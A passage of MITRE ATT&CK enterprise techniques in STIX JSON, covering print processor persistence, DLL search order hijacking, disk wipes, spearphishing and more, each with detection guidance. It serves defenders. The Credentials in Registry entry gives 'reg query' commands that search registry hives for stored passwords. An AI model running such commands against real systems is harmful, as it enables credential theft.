accounts assigned to admin roles that go over a certain threshold of known admins. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Office 365", "IaaS", "SaaS", "Google Workspace", "Azure AD"], "x_mitre_version": "2.4", "x_mitre_data_sources": ["User Account: User Account Modification"], "type": "attack-pattern", "id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", "created": "2020-01-19T16:59:45.362Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1098/003", "external_id": "T1098.003"}, {"source_name": "Expel AWS Attacker", "description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.", "url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/"}, {"source_name": "Microsoft O365 Admin Roles", "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.", "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"}, {"source_name": "AWS IAM Policies and Permissions", "description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.", "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html"}, {"source_name": "Google Cloud IAM Policies", "description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.", "url": "https://cloud.google.com/iam/docs/policies"}, {"source_name": "Invictus IR DangerDev 2024", "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.", "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"}, {"source_name": "Microsoft Support O365 Add Another Admin, October 2019", "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.", "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"}, {"source_name": "Rhino Security Labs AWS Privilege Escalation", "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.", "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-04T14:16:17.655Z", "name": "Print Processors", "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Mathieu Tartare, ESET", "Tahseen Bin Taj"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver</code> or <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver</code> as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "File: File Creation", "Driver: Driver Load", "Module: Module Load", "Process: OS API Execution"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "type": "attack-pattern", "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad", "created": "2020-10-05T13:24:49.780Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/012", "external_id": "T1547.012"}, {"source_name": "Microsoft AddPrintProcessor May 2018", "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.", "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor"}, {"source_name": "Microsoft Intro Print Processors", "description": "Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.", "url": "https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors"}, {"source_name": "ESET PipeMon May 2020", "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", "type": "attack-pattern", "created": "2017-05-31T21:31:07.958Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1089", "external_id": "T1089"}, {"external_id": "CAPEC-578", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/578.html"}], "modified": "2020-02-21T20:35:48.979Z", "name": "Disabling Security Tools", "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["File monitoring", "Host intrusion prevention systems", "Signature-based detection", "Log analysis", "Anti-virus"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", "type": "attack-pattern", "created": "2019-03-19T19:38:27.097Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1487", "url": "https://attack.mitre.org/techniques/T1487"}, {"source_name": "Symantec Shamoon 2012", "url": "https://www.symantec.com/connect/blogs/shamoon-attacks", "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019."}, {"url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html", "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", "source_name": "FireEye Shamoon Nov 2016"}, {"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "source_name": "Palo Alto Shamoon Nov 2016"}, {"source_name": "Kaspersky StoneDrill 2017", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."}, {"source_name": "Unit 42 Shamoon3 2018", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."}], "modified": "2020-02-20T22:11:00.106Z", "name": "Disk Structure Wipe", "description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for unusual kernel driver installation activity.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_impact_type": ["Availability"], "x_mitre_permissions_required": ["Administrator", "root", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2024-01-31T14:09:27.066Z", "name": "Spearphishing Attachment", "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_contributors": ["Philip Winther"], "x_mitre_deprecated": false, "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS", "Windows", "Linux"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Application Log: Application Log Content", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "created": "2020-03-02T19:05:18.137Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1566/001", "external_id": "T1566.001"}, {"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}, {"source_name": "Unit 42 DarkHydrus July 2018", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}, {"source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}, {"source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Sudhanshu Chauhan, @Sudhanshu_C"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1214", "url": "https://attack.mitre.org/techniques/T1214"}, {"url": "https://pentestlab.blog/2017/04/19/stored-credentials/", "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", "source_name": "Pentestlab Stored Credentials"}], "modified": "2020-02-04T12:59:37.464Z", "name": "Credentials in Registry", "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_system_requirements": ["Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys."], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-16T12:26:49.584Z", "name": "Stripped Payloads", "description": "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS", "Linux", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Metadata"], "type": "attack-pattern", "id": "attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97", "created": "2022-09-29T18:30:12.244Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/008", "external_id": "T1027.008"}, {"source_name": "intezer stripped binaries elf files 2018", "description": "Ignacio Sanmillan. (2018, February 7). Executable and Linkable Format 101. Part 2: Symbols. Retrieved September 29, 2022.", "url": "https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/"}, {"source_name": "SentinelLabs reversing run-only applescripts 2021", "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.", "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}, {"source_name": "Mandiant golang stripped binaries explanation", "description": "STEPHEN ECKELS. (2022, February 28). Ready, Set, Go \u2014 Golang Internals and Symbol Recovery. Retrieved September 29, 2022.", "url": "https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "type": "attack-pattern", "created": "2020-02-12T14:09:53.107Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1559.001", "url": "https://attack.mitre.org/techniques/T1559/001"}, {"source_name": "Fireeye Hunting COM June 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", "source_name": "Microsoft COM"}, {"url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html", "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.", "source_name": "ProjectZero File Write EoP Apr 2018"}, {"url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/", "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017"}, {"url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", "source_name": "Enigma MMC20 COM Jan 2017"}], "modified": "2021-07-26T22:51:20.448Z", "name": "Component Object Model", "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Module: Module Load", "Script: Script Execution", "Process: Process Creation"], "x_mitre_remote_support": true}, {"modified": "2024-04-28T15:51:58.945Z", "name": "DLL Search Order Hijacking", "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nPhantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Travis Smith, Tripwire", "Stefan Kanthak", "Marina Liang", "Ami Holeston, CrowdStrike", "Will Alexander, CrowdStrike"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Modification", "Module: Module Load", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "created": "2020-03-13T18:11:08.357Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/001", "external_id": "T1574.001"}, {"source_name": "Adversaries Hijack DLLs", "description": "CrowdStrike, Falcon OverWatch Team. (2022, December 30). Retrieved October 19, 2023.", "url": "https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/"}, {"source_name": "FireEye Hijacking July 2010", "description": "Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html"}, {"source_name": "FireEye fxsst June 2011", "description": "Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html"}, {"source_name": "Microsoft Security Advisory 2269637", "description": "Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020.", "url": "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637"}, {"source_name": "Microsoft Dynamic-Link Library Redirection", "description": "Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020.", "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN"}, {"source_name": "Microsoft Dynamic Link Library Search Order", "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN"}, {"source_name": "Microsoft Manifests", "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", "url": "https://msdn.microsoft.com/en-US/library/aa375365"}, {"source_name": "FireEye DLL Search Order Hijacking", "description": "Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html"}, {"source_name": "OWASP Binary Planting", "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", "url": "https://www.owasp.org/index.php/Binary_planting"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-02T13:35:57.680Z", "name": "Automated Collection", "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_contributors": ["Praetorian"], "x_mitre_deprecated": false, "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and 